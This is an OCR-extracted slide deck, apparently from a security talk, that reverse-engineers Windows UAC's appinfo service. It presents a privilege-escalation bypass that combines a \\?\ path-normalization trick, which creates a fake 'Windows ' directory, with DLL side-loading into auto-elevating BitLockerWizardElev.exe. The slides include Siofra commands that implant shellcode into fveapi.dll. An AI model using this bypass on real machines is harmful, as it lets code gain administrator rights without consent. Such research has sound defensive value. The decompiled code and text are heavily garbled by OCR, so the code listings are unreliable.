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cat ./agenda

1. UAC Design

2. Issues

3. A Combo, inject unlimited agents
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cat ./uac

2 fid it 1A e B EN IR A s ABRT

CL ActiveX Installer (AxInstSV) &% AP 4ARE .. F & Local System
C). Adobe Acrobat Update Ser... Adobe Acrobat U... =L Local System
Lk Adobe Genuine Monitor S...  Adobe Genuine ... = &h Local System
Lt Adobe Genuine Software I... Adobe Genuine ... =k Local System
; AdobeUpdateService WP B Local System
G AllJoyn Router Service it ¥ A8 Allloyn ... F8) (FETEFEE)  Local Service

£k App Readiness EEEAEL - .. F & Local System
Lk Application Identity AT iEE A F5) (A2 32 R ED) Local Service
# A Application Information PAHE fth & B R... FEh (REEFRE)  Local System
L Application Layer Gateway ... %148Fs4A05:845... FE) Local Service
L Application Management e ¥R iE [BFE]R.. F & Local System
Lk AppX Deployment Service ... #2121 Micros... F & Local System
Gl AssignedAccessManager...  AssignedAccess... + &) (2312 FRiE) Local System




cat ./uac

Application Information AE (F#ER) X
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Application Information
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cat ./uac

Process Integrity Window Tlitle

SgrmbBroker.exe |System
svchost.exe System
svchost.exe System
svchost.exe System

—I I svchost.exe System
H|consent.exe System
svchost.exe

svchost.exe
MsMpEng.exe




cat ./uac

L8 svchostexe:3964 (netsvcs -p -s Appinfo) .. — X

Services Threads TCF/IP Security Environment  Job Strings
Image Performance Performance Graph  Disk and Network  GPU Graph

Image File

Windows Services B F i EIHTE

Microsoft Corporation
Version: 10.0.17763.1
Build Time:
Path:
C:\Windows\System32\svchost.exe
Command line:

CAWINDOWS\system32\svchost.exe -k netsvcs -p -s Appinfo

S svchost.exe -k netsvcs -p -s Appinfo
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(D.) Jump into AddressOfEntry

(C.)
Kernel Create a new Thread:
RtlUserThreadStart

sLdrInitializeThunk
-»LdrpInitializeProcess

(A.) CreateProcess

B.) Child Proess Created,
EXE File Mapped,

Ring3 and New Thread pointed to RtlUserThreadStart

syscall

R1ng0




(D.) Child process is created
by CreateProcessAsUser
with specific token by Parent Process

Task Cancelled

(C.) verify new process 1is

(A.) RunAs, qualified or not

CreateProcessAsUser or
reateProcessWithToken

(B.) Send a task by RPC message to
UAC service for creating a different
privilege child process

C
&

R1ng3
syscall

R1ng0




UAC

Protection . .
. (C.) verify new process 1is
LOg'LC qualified or not
(B.) Send a task by RPC message to
UAC service for creating a different
RiNG3 privilege child process

syscall
R1ng0



Some points about UAC protection Y

we're interested 1in:

e How the UAC process verifies
processes get higher privilege

e Security 1ilssues

e Bypassing Vectors
UAC Service

R1ing3
syscall
R1ng0
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i1f you can see me, = »
remember it's dlscovered »)Y, rever51ng
and not talked about on Internet.



exec RunAs

o] B8 IERFTL - powershell

PS C:\Users\exploi t\Deskiop>

[ ]

T11T Frocess

Funas




void  fastcall RAi1LaunchAdminProcess (
struct RPC ASYNC STATE *rpcStatus,
RPC BINDING HANDLE rpcBindingHandle,
wchar t *exePath,
wchar t *fullCommand,
int dwCreationFlags,
LPVOID lpEnvironment,
wchar t *1pCurrentDirectory,

unsigned 1ntl6 *a8,
struct APPINFO STARTUPINFO *lpStartupInfo,
int64 alo,

int millSecond,
struct PROCESS INFORMATION *lpProcessInformatlon,
unsigned int *al3)

.:\x)(\ R
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acessToken = NtOpenProcess(
&1invokerOpenProcHandle,
PROCESS QUERY INFORMATION|PROCESS CREATE PROCESS|PROCESS DUP HANDLE |@x100000,

&objAttL,
&pid); // eet access token of 1nvoker
1t ( (acessToken & @x80000000) != 8 )
: rpcClient = RtlNtStatusToDosErrorNoTeb(acessToken);
h
else
{

rpcClient = RpcImpersonateClient(0164);
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rpcClient = RpcImpersonateClient(©164);
it ( !rpcClient )
{
LOBYTE(true) = 1;
nStatDupToken = NtOpenThreadToken(
-2164,
TOKEN MANDATORY POLICY VALID MASK|TOKEN ADJUST DEFAULT|TOKEN QUERY,
true,
&currThrdToken);
it ( nStatDupToken >= @ )
{
currThrdToken 1 = currThrdToken;
objAtt.Length = 48;
objAtt.RootDirectory = 8164;
objAtt.Attributes = 8;
objAtt.0ObjectName = 8164;
~mm_storeu s1128(&objAtt.SecurityDescriptor, 8164);
nStatDupToken = NtDuplicateToken(currThrdToken 1, 6, &objAtt, @, TokenPrimary, &invokerThreadToken);

h
v38 = RpcRevertToSelf();
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err_ 1 = NtQueryInformationToken(invokerThreadToken, TokenSessionlId, &consoleSessionlId, 4u, &retlen);

it ( (err_ 1 & Ox380000000) == @ )

{
consoleSessionId 1 = consoleSessionld;
invokerThreadToken 1 = invokerThreadToken;
invokerThreadToken 2 = invokerThreadToken;
invokerPid = Pid;
invokerOpenProcHandle 1 = invokerOpenProcHandle;
invokerOpenProcHandle = 0164;
invokerThreadToken = 8164;
consoleSessionId 2 = consoleSessionld;
consoleSessionlId 3 = consoleSessionld;
goto LABEL 45;

h

v112 = RtlNtStatusToDosError(err 1);

goto bye;




RPC client err = RpcImpersonateClient(@164);
it ( RPC client err )
{
Reply = RPC client err;
goto LABEL 264;
h
1t ( exeFullPath )
exeSelectPath = exeFullPath;
else
exeSelectPath = fullCommand 1;
exeFi1leHandle = CreateFilel(
exeSelectPath,
GENERIC EXECUTE|GENERIC READ,
FILE ACTION RENAMED NEW NAME,
Q,
OPEN_EXISTING,
FILE READ ATTRIBUTES,
0164);
1t ( exeFileHandle == -1164 )
{

Reply = GetlLastError();

Aadd ressi@ch root .rg



pathLen = GetLongPathNamelW(targetExePath, 0164, @);
pathLen 1 = pathlen;
it ( pathlLen )
{
exePathWCharSpace = LocalAlloc(8@x48u, 2164 * pathlen);
exePathWCharSpace 1 = exePathlWiCharSpace;
1t ( exePathWCharSpace )
{
1t ( GetlLongPathNamelW(targetExePath, exePathWCharSpace, pathlen 1) )
{
err 2 = RtlDosPathNameToRelativeNtPathName U WithStatus(
exePathlWCharSpace 1,
exeUn1i FullPath,
9164,
&relativePath);
1t ( (err 2 & Ox800000080) != 0 )

= { o '
’:;_:\)( )A *\ err = RtlNtStatusToDosErrorNoTeb(err g2 s

T N ) trustedFlagErr = err; &
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[trustAuth_A

@: i < 3:; ++i ) |

for ( 1 =
1
LOBYTE(caseSenstlve)
ag Dirs = |
"\ ?\C: \Windows\ ',
‘Aff\C:\Program Files\’
‘Aff\C:\Program Files(x8 |
/] ]
// and exeUni FullPath has been striped.
1t ( RthPeflen1c0deStP1ng(&g Dirs + 1, exeUni FullPath, ve) )
break;
}
// migh t be trusted? but need to chk program ti1le x86/x64
if (1 1=1 )
{
if (1 !=238&% (!1 || 1 == 2 & g bPFX86Supported) )
{
AlpCheckSecurePFDirectory(exeUni_FullPath, &trustedFlag, ve);
tmpTrustFlagToAdd = trustedFlag; -
= N 1
x : goto byebyeAutoElev;
}
daaddressi@chroot.org



/trustAuth A

volid AipCheckSecurePFDirectory( UNICODE STRING *exePath, uint *trustedFlag, @ 1int64 caseSenstive)
1

*trustedFlag |= 0x2000u;

int pos = 0;

do

{
// \??\C:\Program Files\Windows Defender, \??\C:\Program Files (x86)\Windows Defender
// \??\C:\Program Files\Windows Journal, \??\C:\Program Files (x86)\Windows Journal

// \?2\C:\Program Files\Windows Media Player, \??\C:\Program Files (x86)\Windows Media Player
// \?22\C:\Program Files\Windows Multipoint Server
1f ( RtlPrefixUnicodeString(&(&g IncludedPF)[2 * pos], exePath, caseSenstive = true) )
break;
++poSs;
}
while ( pos < 8 );
if ( pos != 8 ) *trustedFlag 1 |= 0x4000u; // 0x4000, trusted windows system application

}

- g—
—
-

I§
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. [trustAuth A

for ( ] = 8; 7 < 8x20; ++] )
{

'?\C: \Windows\Debug

'P\NC:\Windows\PCHealth\

'PA\C:\Windows\Registration)

'PAC: \Windows\System32\com

'PA\C:\Windows\System32\FxsTmp\

'PAC:\Windows\System32\Microsoft
\? P\C: \Windows\System32\Spool\

LOBYTE(caseSenstive) = 1;
1t ( RtlPrefixUnicodeString(&g ExcludedWinDir[2 * 3], exeUni_ FullPath,
break;

"
L

h

if (§ 1= 32) // App Containered?
goto byebyeAutoElev;

tmpTrustFlagToAdd = 0x2000;
‘___iruqtedFlag = Bx2000;

=TI
P ‘§>




/trustAuth A

tmpTrustFlagToAdd = 9x2000; [/ 8x20008, truested system path with doubt
trustedFlag = 9x2000;

for ( k =0; k < 5; ++k )

{

LOBY"E(caseSenstlve)

\
Windc

. \Wind
:\Windo
JWindc

1f ( RtlPPef1xUn1codeStP1ng(&(&g IncludediWinDir)[2 * k], exeUni FullPath, caseSenstive) )
break;

(1t's not allowed to trusted!)

1 L allowe
{/ chk there's slash 1n exe name or not.
it ( k == 5 && wcschr(&exeUni FullPath[1][dword 7FFE235F9F70 >> 1], "\\') )
goto byebyeAutoElev,
tmpTrustFlagToAdd = 0x6000; [/ Ox6000
erustedFlag = 9x6000;
A \)( N
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. [trustAuth A

// \??2\C:\Windows\System32\Sysprep\sysprep.exe
// \?2?2\C:\Windows\System32\inetsrv\InetMgr.exe
int index = 0, pos = 0;
while ( 'RtlEqualUnicodeString(
g IncludedXmtExe[index ++], exeUni FullPath, true)

1f (i1ndex < 2) {

1f ( AipMatchesOriginalFileName(exeUni FullPath) ) {
tmpTrustFlagToAdd |[= (0x800000u | 0x200000u);
trustedFlag = tmpTrustFlagToAdd;
}
else {
tmpTrustFlagToAdd |= (0x400000u | 0x200000u);
trustedFlag = tmpTrustFlagToAdd;
_ >A N}
>(‘ else

) ;



. [trustAuth A

else {
// \?2?2\C:\Windows\SysWowé64 \
// \?2?2\C:\Windows\System32\
for (pos = 0; pos < 2; pos++)
1f ( RtlPrefixUnicodeString(g IncludedSysDir[pos], exeUni FullPath,

true) )
break:
1f (pos = 2) {
tmpTrustFlagToAdd |= 0x200000u;
trustedFlag = tmpTrustFlagToAdd;
}
}
TN




. [trustAuth B

fullCommand 1 = szCmdline;
1t ( exeFullPath )
exeSelectPath 1 = exeFullPath;
else
exeSelectPath 1 = szCmdline;
AllsEXESateToAutoApprove(exeSelectPath_1, exeFileHandle, szCmdline, &trustedFlag, &useless);
reply = RpcRevertToSelf();
it ( reply )
L
Reply = reply;
goto LABEL 272;
}
tmpTrustFlagToAdd = trustedFlag;
1t ( flag & 8 )

v;\w\

)¢
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loc_7FFE235D3B6F: ; CODE XREF:

.[trustAuth B = -i:%

; 17 it ( l!restrictAutoApproave )
test bl, bl

]z loc 7FFE235D8CDB
; 274: 1t ( bittest(&currTrustFlag, @x15u) )
bt eax, 15h
; 275: goto tryToVerity;
jnb loc 7FFE235D8C98
1t currTrustFlag > Ox2000888, then try to verity 1t's allowed to be auto elevate | [

1t ( blttest(&currTPustFlag, 6x15u) )
goto tryToVerity;

v22 = WPP_GLOBAL Control;

1t ( WPP_GLOBAL Control == &WPP GLOBAL Control )
soto LABEL 24:

1t ( *(WPP_GLOBAL Contreol + 28) & 1 )

{
v23 = 11i64;
goto LABEL 28:
}
=3 bye:

a—— ) \
fﬁkh 'ya “ 1t ( WPP_GLOBAL Contreol != &WPP GLOBAL Control &5“,h' S SLOBAL_Control-+ 28) & 1 )



. [trustAuth B

filemappingPtr = CreateFileMappingW(exeFileHandle, 0164, 0x11000002, 0, ...);
1f ( filemappingPtr ) {

exeRawData = MapViewOfFile(filemappingPtr, 4u, 0, 0, 0164);
1f ( exeRawData )

1f ( LdrResSearchResource(exeRawData, &buf, 3164, 48164 ..., 64) >= 0 ) {
actCtx = CreateActCtxW(&Dst);
1f ( actCtx != -1164 ) {

1f ( QueryActCtxSettingsW(
0, actCtx, 0164, L"autoElevate", &pvBuffer, ...) )
// pvBuffer = (wchar t*)L"true"
// tryAutoElevFlag = ( 't' - 'T'(0x54) & 0Oxffdf ) == 0 --> case insentive
tryAutoElevFlag = ((pvBuffer - 'T') & OxXFFDF) == 0;

”“\ N 1f ( tryAutoElevFlag )
) goto markedAutoElev;




. /[trustAuth B

(

tryAuto.

tlevFlag )

markedAuto]

Blev;

markedAutoElev:

if ( wecsicmp(L"mmc.exe", *mmc) )

{
// autoElev request marked flag
*trustFlag |= 0x1010000u;
goto bye;

}

// ... chk for the arguments for mmc
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. [trustAuth B

Ctunesvr. exe
1netmgr. exe
migsetup.exe
mmc . exe
O0ONe _exe
pkemgr . exe
provislionshare . exe
provislionstorage. exe
spinstall.exe

[/ * AilpCompareEXE = wcsicmp
1T ( !bsearch(purExeName, &g lpAutoApproveEXEL1ist, 16uibtd, 8uibtd, AipCompareEXE) )
goto bye;
1t ( 'AipIsValidAutoApprovalEXE(exeFileHandlea, exePath) )
1
*trustDirFlag_2 |= OxAP0000u ; [/ 0x400000, full trusted!
> \‘)( )(\ ~3to bye;
v;: . }
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1t ( dwCreationFlags & 1 ) // DEBUG PROCESS

{
1t { UAC Level <=1 )
{
tmpTrustFlagToAdd |= @x200u;
trustedFlagErr = tmpTrustFlagToAdd;
trustedFlag = tmpTrustFlagToAdd;
h
requestUAC Level 1 = 2;
v151 = 6;
h
1t ( dwCreationFlags & 9x10 ) // CREATE NEW CONSOLE
{

tmpTrustFlagToAdd |= @x800u;
trustedFlagErr = tmpTrustFlagToAdd;
trustedFlag = tmpTrustFlagToAdd;

¥
1t ( (dwCreationFlags & Ox86u) 1= 8 ) // HIGH PRIORITY CLASS

{

trustedFlagErr = tmpTrustFlagToAdd | 9x100000;
trustedFlag = tmpTrustFlagToAdd | ©x100000;
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consentExitCode = AillLaunchConsentUI(
invokerThreadToken 3,
vbd,
a’,
ad,
recviokenOwnerPid 5,
trustedFlagErr,
hTemplateFile,
millSecond,
&ExistingTokenHandle);
v92 = ExistingTokenHandle;
v/7 = consentExitCode;
1t ( consentExitCode )
goto bye NoPrivElev Now;
1t ( !ExistingTokenHandle )
{
tullPath Len = v152;
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*(struct 2 + 24) = newPrimToken 1;
*(struct 2 + 32) = hTemplateFile;
*(struct 2 + 56) = &v35;

*(struct 2 + 8) = vl13;

*(struct 2 + 16) = vl1l;

*(struct 2 + 36) = recviokenOwnerPid 1;

*(struct 2 + 40) = v21;

1t ( needSecConsentDisplay & 8 )
contfigForConsentUI = 1;

it ( bittest(&needSecConsentDisplay, 8x13u) )
configForConsentUI |= 0x400u;

it ( bittest(&needSecConsentDisplay, 8u) )
configForConsentUI |= 2u;

1t ( _bittest(&needSecConsentDisplay, @xFu) )
configForConsentUI |= 0x86u;

1t ( needSecConsentDisplay & 8x66 )

configForConsentUI |= 4u;

1t ( (needSecConsentDisplay & 8x248) == 576 )
configForConsentUI |= 8u;

it ( bittest(&needSecConsentDisplay, @xBu) )
configForConsentUI |= 0x10u; // touch
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currPid = GetCurrentProcessId();

LODWORD( phkResult) = *struct 2;

// consent.exe curr pid %u #&p

swprintt s(cmdline, @x3Duibd, L"consent.exe %u %u %p", currPid, phkResult, struct 2);
*Data = recvlokenOwnerPid 1;

*Type = 8164;

*cbData = ©164;

ex1tCode = 8;

vadi = 7;

vdg = 17;

vad9 = 18;

vhe = 23;

vhl = 29;

currProcessHandle = NtOpenProcessToken(
-1164,
TOKEN MANDATORY POLICY VALID MASK|TOKEN ADJUST SESSIONID|TOKEN .
Type);

it ( currProcessHandle >= 0 )
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ExitCode = AilLaunchProcess( // cmdline = consel

Pib4,
token,
0i64, AiLaunchProcess:
Bx1806008806u,
9164,

Create Suspended Consent Process

cmdline, by CreateProcessAsUserW

Ox480u,
0164,
ag,
Pi6d4,
recvliokenOwnerPid 1,
Pi6d,
Q,
0164,
Pi6d,
&hHandle) ;
exltCode = ExitCode;
1T ( !'ExitCode )
{
ExitCode = AipVerifyConsent(hHandle);
exltCode = ExitCode;
1T ( !ExitCode )
{
ResumeThread(hThread);
ExitCode = WaitForSingleObject(hHandle, dwMilliseconds);
exltCode = ExitCode;

~
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ExitCode = AilauncH V4 = NtReadVirtualMemory(hProc, v17, v3, 4096164, &vl2);
if (vd <@ || (v4 = RtlImageNtHeaderEx(0i6d, v3, v12, &NtHeader), v4 < @) )

Pi64, ;
;‘?EZ" NBEL_29
L vl = RtlNtStatusToDosErrorNoTeb(v4d);

0x100¢ soto LABEL 20:

0ied, | 1

cmdlin if ( *(NtHeader + OxC) != 0x20B || *(NtHeader + 21) > v12 || *(NtHeader + 94) >= 0 )
BxA001L goto LABEL 21;

Pied, v> = *(NtHeader + 3);

a0, vb = NtHeader + *(NtHeader + 10) + 24;
pi6a, | V/ =9
> 'z ¥
ey {1:f ( *(NtHeader + 3) )
0104, v8 = vb - v3;
a, while ( v8 <= v12 - 40 )
0164, !
Qiﬁﬂ, it ( *v6 = Ox746E65736E6F63164 )
&hHanc 1

exltCode = ExitCode;
1t ( !ExitCode )
{
ExitCode = AipVerifyConsent(hHandle);
exltCode = ExitCode;
1t ( !'ExitCode )
— {
SN ResumeThread(hThread);
| ExitCode = WaitForSingleObject(hHand
exltCode = ExitCode;
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ExitCode = AilaunchProcess( " . (hProgmdthtee V3, ARGIEE, e S11 )5
@164 : \ <L "i“ = (6 2
token,
9i64,
Ix1000030u, .
pi6a, |

mana 1 o o - o =1 ] P’ e || e = W Y | | e

1t ( !ReadProcessMemory(hProc, (v17 + *(v6 + 12)), &Dst, Ox62uibd, 0164) )

1
vl = GetlLastError();
goto LABEL_20;

h

1t ( memcmp_O(8&Dst, L"Microsoft Windows (c) 2009 Microsoft Corporation”, @x62uibd) )
goto LABEL 21;

4"5 4

£

9164, if ( * = @x
&hHandle); 1
exltCode = ExitCode;
1t ( !ExitCode )
{
ExitCode = AipVerifyConsent(hHandle);
exltCode = ExitCode;
if ( ExitCode )

ExitCode = WaitForSingleObject(hHand

exltCode = ExitCode;
— )

x % ResumeThr*ead(hThr*ead);
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ExitCode = AilLaunchProcess( /) cmd]iEEEEEE ]

0164, A
token, EAN: OB,
9164,
Ox1000080u,
_ a.exe
0164,
cmdline, %ﬁ%iﬂiiuﬁ {
6)_(4@% ! Eiﬁg %:ﬁﬂfei‘?gﬁﬁt\Desktop\a.exe“ RunAs
0164, SR AR
ag,
9164,
recvliokenOwnerPid 1, . -
Pib4, =
Q,
9164,
9164,
&hHandle) ;

exltCode = ExitCode;
1T ( !ExitCode )
{
ExitCode = AipVerifyConsent(hHz
exltCode = ExitCode;
1T ( !ExitCode )
1

fille);

ResumeThread(hThread) ;
x1tCode = WaitlorSingleObject(hHandle, dwMilliseconds);
exltCode = ExitCode;
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ExitCode = AillaunchProcess(

9164,
token,
9164,
Ox1000080u,
9164,
cmdline,
Ox400u,
9164,

9164,

a,

0164,
0164,
&hHandle) ;

exltCode = ExitCode;
it ( !ExitCode )

{

ExitCode = AipVerifyConsent(hHandle);
exitCode =
1t ( !ExitCode )

{

ExitCode;

ResumeThread(hThread);

ExitCode = WaitForSingleObject(hHand

exltCode = ExitCode;

AiLaunchProcess:
Create Suspended Consent Process
by CreateProcessAsUserW

recvlokenOwnerPid 1,

if ( exitCode == @x102 || exitCode == @x42B )
result = 1223164;

else
result = exitCode;

return result;
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tullCommand 1 = szCmdline;
alla = recvlokenOwnerPid 4;
v98 = 1nvokerOpenProcHandle 1;
v99 = AllaunchProcess(

invokerOpenProcHandle 1,

va/,

exeFi1leHandle,

tmpTrustFlagToAdd,

exeFullPath,

szCmdline,

ab,

vl76,

a’,

v208,

alla,

0164,

v181,

0164,

0164,

al6);

—==girlxeName = clrExeName_1;

1:; >( .rxj‘z v99;
- QBEL_l?S;

‘goic
‘“9#' S
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tullCommand 1 = szCmdline;

alla = recvlokenOwnerPid 4;

v98 = 1invokerOpenProcHandle 1;

v99 = AllaunchProcess(
invokerOpenProcHandle 1,
va/,
exeFi1leHandle,
tmpTrustFlagToAdd,
exeFullPath

szCmdline, \S
ab .

LUATelemetry: : LaunchAdminProcessActivity: :Stop(&v234, v101, tmpTrustFlagToAdd, w151, Reply, clrExeMName);
it ( 1v149 )
RpcAsyncCompleteCall(pAsync, &Reply); // suspended child processes get new threads
it ( WPP _GLOBAL Control != &WPP GLOBAL Control && *(WPP _GLOBAL Control + 28) & 1 )
WPP_SF D(
*(WPP_GLOBAL Control + 2),
12164,
&WPP Ecan%ﬁéﬁ?dl3849&667cc3@18525@24 Traceguilds,
316),

_)- — \ = clrExeMNam E_l 3 ///j?;;:?:f::;m
. ,\ = v99 >

- - E0_0c | ABEL_175; S

-
-—
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path Normaliz

> TenableSecurity: UAC Bypass by Mocking Trusted

Directories by David Wells

> Google Project Zero: The Definitive Guide on Win32 to

NT Path Conversion by James Forshaw

> MSDN Developer Blog:
Path Normalization by Jeremy Kuhne

Path Format Overview by Jeremy Kuhne



path Format

DOS Paths (2.0)
C:\Test\Foo.txt

—

A full volume name. If it doesn't start with all 3
characters it is considered to be partially
qualified or relative to the current directory.

\iw\ |
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path Format

UNC Paths
\\Server\Share\Test\Foo. txt

L )
start with two separators. The first component is

the host name (server), which is followed by the
share name.
\% |

K il

il



path Format

\\.\C:\Test\Foo. txt
\\.\UNC\Server\Share\Test\Foo. txt

\\?\C:\Test\Foo. txt
\\ ?\UNC\Server\Share\Test\Foo. txt



path Normaliz

Path Normalization by Jeremy Kuhne

e Tdentifying the Path and Legacy Devices
e Applying the Current Directory

e Canonicalizing Separators

e Evaluating Relative Components

e Trimming Characters

e Skipping Normalization



path Normaliz

Path Normalization by Jeremy Kuhne

If the path doesn't end i1n a separator, all trailing
periods and \x20 will be removed. If the last segment
1s simply a single or double period it falls under
the relative components rule above.

e Trimming Characters

This rule leads to the possibly surprising ability
3 to create a directory with a trailing space. You
B simply need to add a trailing separator~to do so.



path Normaliz

Path Normalization by Jeremy Kuhne

An important exception- i1f you have a device
path that begins with a question mark instead of
a period. It must use the canonical backslash-
1f the path does not start with exactly

\\?\ 1t will be normalized.

e Skipping Normalization



Issue

pathInput

High Priv e

Low Priv

pathInput

» daaddressi@chroot.org



trustAuth A

Sp =

RtlDosPathNameToRelativeNtPathName U WithStatus(
GetLongPathNamel( )

)

1T ( GetlLongPathNamelW(targetExePath, exePathWCharSpace, pathlLen 1) )

I
L

err 2 = RtlDosPathNameToRelativeNtPathName U WithStatus(
exePathWCharSpace 1,
exeUni FullPath,
9164,
arelativePath);
.1t ( (err_2 & ©x80000000) != 0 )

,%\i:ﬁ

= RtlHtStatusTDDasEPPDPH@TEB(EP'3".

e
2



trustAuth A

RtlDosPathNameToRelativeNtPathName U WithStatus(
GetLongPathNameW(L )
)

RtlDosPathNameToRelativeNtPathName U WithStatus(

. "C:\sea\food\seafood.exe"
) X v, Ao |

Sp = L"\??\C:\sea\food\seafood.exe"




trustAuth A

RtlDosPathNameToRelativeNtPathName U WithStatus(
GetLongPathNameW(L )

)
RtlDosPathNameToRelativeNtPathName U WithStatus(

L"C:\Windows\System32\a.exe"
) y s )

Sp = L"\??\C:\Windows\System32\a.exe"




trustAuth A

RtlDosPathNameToRelativeNtPathName U WithStatus(
GetLongPathNameW(L"C:\Windows \System32\a.exe")
)

But it's okay for us to create a
dictionary "Windows|x20" via the |\?|
prefix to avid Path Normalization

Sp = L"\??\C:\Windows\System32\a.exe"

We have no privilege to write files inside
C:|\Windows\System32 due to Windows DACL



Combo




attack Vectors

- Path Normalization Issues

- \\?\ prefix to bypass

- Whitelisted EXE Files with Trusted Signature

- AutoElevated Marked EXE Files

— DLL Side-Loading Tricks to hijack AutoElevated Marked
EXE Files



pay Load?

CFF Explorer VIII - [bitlockerwizardelev.exe]

File Settings 7

@ bitlockerwzardelev .exe
- =4 ole32.di

" File: bitlockerwizardelev exe ﬂ api-ms—w:ln—cor = AUserc\explor®
3 Dos Header : ﬂ api-ms-win-crt | e Name AJsers\exploith
2| Nt Headers i SEs-wn-ot

o &l api-ms-win-crt
2l Fle Header ~ ﬂ
- C;ptm:al - 0-\ %) ntdll.di File Info No match found

-\ %) KERNELBASE.( — - -
2l Data Directories [x] File Size 708.00 KB (8171°

_ | | | @ api-ms-win-cor
i.l Section Headers le ﬂ api_ms_rﬁuin{c" pE Slze 79800 KB (81 716

Property Value

File Type Portable Executa

) Import Directory ﬂ api-ms-win-cor

4_:J Resource Directory ﬂ api-ms-win-cof Created Friday 09 August
h—'l e Echey @) api-ms-win-cor Modified Thursday 11 July
L) Relocation Directory ~ # api-ms-win-cor
=) Debug Directory @) api-ms-win-cor Accessed Saturday 10 Aug
'-\_,Adiw Converter ﬂ apfms-'n'fn{or MDS 0D727E95A2D0 1
%), Dependency Walker gl api-ms-win-cor
N\, Hex Editor ﬂ api-ms-win-cor 8EQ32443D80B1
4, Identifier ) api-ms-win-cor
N, Import Adder éj api-ms-win-cof
""_\__, Quick Disassembler ﬂ apf-ms—w?n-seg
“\, Rebuilder i api-ms-win-cor - yih Microsoft Co

A r E ﬂ api-ms-win-cof | o | |
A Resource Editor @] api-ms-win-cor FileDescription BitLocker Dri




S"[_Q'Fra github.com/Cybereason/siofra

. Cybereason / siofra ® Watch~ 18 W Star 157 ¥ Fork

<> Code Issues 1 Pull requests 0 Projects 0 Wiki Insights

No description, website, or topics provided.

D 9 commits ¥ 1 branch © 0 releases 42 2 contributors

Eranch: master = New pull request Create new file @ Upload files = Find File Clone or download «

forrest-re Merge pull request #1 from vocatan/master  --- Latest commit edb33F8 on 6 Oct 2017

=| Implant64.asm Rename Shellcode64.asm to Implant64.asm 2 years ago
=] LICENSE Initial commit 2 years ago

=] README .txt Fix license type from GLP 3 to GPL 3 -- great tool! 2 years ago

=] Siofra-Research-Tool-Cybereason.pdf Added main PDF 2 years ago

=S —igfr‘a32.exe Added 32 and 64 bit tool binaries 2 years ago

% y\k M rabd.exe Added 32 and 64 bit tool binaries 2 years ago




e,

Siofra

C:\Users\exploit\Desktop\siotra-master
A Siofrabd.exe --mode file-scan -t "C:\Windows\System322" -r --enum-dependency --dll-hijack --auto-elevate
[*] Siofra version 1.13 has entered architecture mode x64

======== (:\Windows\System32\BitLockerWizardElev.exe [B64-bit PE] ========
BitLockeriWizardElev.exe
KERNEL32.d1l1l [KnownDLL]
msvcrt.dll [KnownDLL]
FVEWIZ.d1l [!]
ADVAPIZ2.dl1l [KnownDLL]
apl-ms-win-eventing-controller-11-1-8.d11 [API set]
sechost.dll [KnownDLL]
RPCRT4.dll [KnownDLL]
bcrypt.dll [Base]
BDEUI.d1ll [!]
OLEAUT22.d11 [KnownDLL]
msvcp win.dll [Base]
apl-ms-win-crt-string-11-1-68.d11 [API set]
ucrtbase.dll [Base]
combase.dll [KnownDLL ]
bcryptPrimitives.dll [Base]
\ \E‘ FVEAPI.d11l [!]
}“('>( ~1 o0le32.dl]l [KnownDLL]
GDI32.dl1l [KnownDLL]

daaddressi@chroot.org



Siofra

C:\Users\exploit\Desktop\siofra-master
h Siofratd.exe --mode infect - fveapi org.dll -o fveapi.dll --payload-type process --payload-path mspaint.exe
Siofra version 1.13 has entered architecture mode x64
Infection mode selected (verbosity level 1).
Successtully read target file fveapi org.dll (8980648 bytes) to memory
Selected process creation shellcode (1492 bytes) for implant
Allocated 1516 bytes for custom shellcode (including path mspaint.exe)
] Successfully validated chosen PE with entry point Ox88627230
Entry point at Ox08027230 tied to section ".text". Checking for relocs overlapping with detour of size 10 tc
ress
] The desired PE contains a valid reloc section at 9x000d{000.
*] This file has relocations but they do not interfere with the desired detour at Ox00027230 (10 bytes)
] New PE created
File size: 898048 -> 899584 bytes
Detour information
Size: 18
RVA: Ox000827230
Destination: OxB800e0200
Checksum: Ox080et66a2 -> Ox080ebBe3l
Image size: Ox000e1000 -> OxOB0e1000
Implanted section
Name: .reloc (index 6)
RVA: OxB0adfoos
Virtual size: 4188 -> 6124 bytes
Raw size: 4688 -> 6144 bytes
Payload address: 8x000e0200

IEI LI | LI } LI | LI | LI ) 11

R OK KDL K K K K K % ®

Payload size: 1528
)I( ] Successfully completed appender infection on fveapi org.dll
Wrote new PE to output file fveapi.dll

>
-—»’
—
-
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DEMO

B cmd.exe 9804
- mspaint.exe 4296 AT - A i




TrustAuth A used for verifying child process launched
from a trustable dircctory

1f trusted, TrustAuth B check child process signed with
legal signature or marked as AutoElevate

Consent.exe launched, and the UAC prompt pops up if
child process isn't full trusted

TrustAuth A/B 1s an extra design. The different paths

between verification and Forking Process lead to EoP
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